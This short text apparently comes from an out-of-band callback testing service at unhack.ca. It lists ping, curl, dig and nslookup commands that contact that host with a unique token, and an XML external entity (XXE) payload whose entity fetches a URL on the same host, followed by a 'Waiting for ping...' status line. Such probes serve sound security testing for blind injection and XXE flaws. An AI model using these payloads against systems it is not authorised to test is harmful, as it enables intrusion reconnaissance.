$ ping -c1 -p 009c73ea792ce7127f0d64a550b19300 unhack.ca
 
$ curl http://unhack.ca/p/9c73ea792ce7127f0d64a550b193
 
$ dig 9c73ea792ce7127f0d64a550b193 @unhack.ca
 
$ dig 9c73ea792ce7127f0d64a550b193.ns.unhack.ca
 
C:\> nslookup 9c73ea792ce7127f0d64a550b193 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9c73ea792ce7127f0d64a550b193">]>
    <foo>&xxe;</foo>
Waiting for ping...